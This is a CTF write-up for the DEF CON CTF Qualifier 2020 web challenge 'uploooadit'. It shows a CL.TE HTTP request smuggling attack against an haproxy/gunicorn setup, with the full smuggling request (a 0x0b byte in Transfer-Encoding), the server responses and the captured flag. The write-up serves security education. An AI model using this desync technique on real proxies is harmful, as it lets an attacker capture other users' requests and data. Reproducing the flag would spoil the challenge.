Tags: web desync http-desync-attack http proxy 

Rating: 5.0

# DEF CON CTF Qualifier 2020 – uploooadit

* **Category:** web
* **Points:** 110

## Challenge

> https://uploooadit.oooverflow.io/
>
> Files:
>
> [app.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/uploooadit/app.py) 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
>
> [store.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/uploooadit/store.py) dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

[Official solution here.](https://github.com/o-o-overflow/dc2020q-uploooadit)

## Solution

With this web application you can submit a text content to a remote S3 bucket defining a GUID for the key and then retrieving the same text content via the GUID.

The functionality endpoint is `/files/`. The GUID can be set with `X-guid` HTTP header.

Analyzing the two given files ([app.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/uploooadit/app.py) and [store.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/uploooadit/store.py)) you can discover that no intended vulnerabilities are present.

Analyzing responses, you can discover some interesting HTTP headers:
* `Server`;
* `Via`;
* `X-Served-By`.

```
GET /files/00000000-0000-0666-1234-0000ffa20000 HTTP/1.1
Host: uploooadit.oooverflow.io

HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.0
Date: Sat, 16 May 2020 13:20:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 232
Via: haproxy
X-Served-By: ip-10-0-0-183.us-east-2.compute.internal

<title>404 Not Found</title>
<h1>Not Found</h1>

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.


```

It seems that the architecture is composed by a proxy (`haproxy` 1.9.10) and different hosts behind it (`gunicorn` 20.0.0) which run the application.

Considering the infrastructure, this seems to be an *[HTTP Desync Attack](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) CL.TE* scenario.

Other information can be found [here](https://nathandavison.com/blog/haproxy-http-request-smuggling) and [here](https://blog.deteact.com/gunicorn-http-request-smuggling/).

The malicious HTTP request will be the following (the char between `Transfer-Encoding:` and `chunked` is `0x0b`).

```
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Length: 175
Content-type: text/plain
Connection: keep-alive
X-guid: 00000000-0000-0666-1234-0000ffa20000
Transfer-Encoding:?chunked

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-0000-0666-1234-0000ffa20000
Content-Type: text/plain
Content-Length: 387

A

```

Which will give the following answer.

```
HTTP/1.1 201 CREATED
Server: gunicorn/20.0.0
Date: Mon, 18 May 2020 00:31:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Via: haproxy
X-Served-By: ip-10-0-1-95.us-east-2.compute.internal

```

At this point it is sufficient to read the defined object.

```
GET /files/00000000-0000-0666-1234-0000ffa20000 HTTP/1.1
Host: uploooadit.oooverflow.io

```

Which will return a POST request containing the flag.

```
HTTP/1.1 200 OK
Server: gunicorn/20.0.0
Date: Mon, 18 May 2020 00:31:09 GMT
Content-Type: text/plain
Content-Length: 387
Via: haproxy
X-Served-By: ip-10-0-1-95.us-east-2.compute.internal

APOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: b6e184e0-593e-4c5a-98da-0df304752a0e
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

```

The flag is the following.

```
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}
```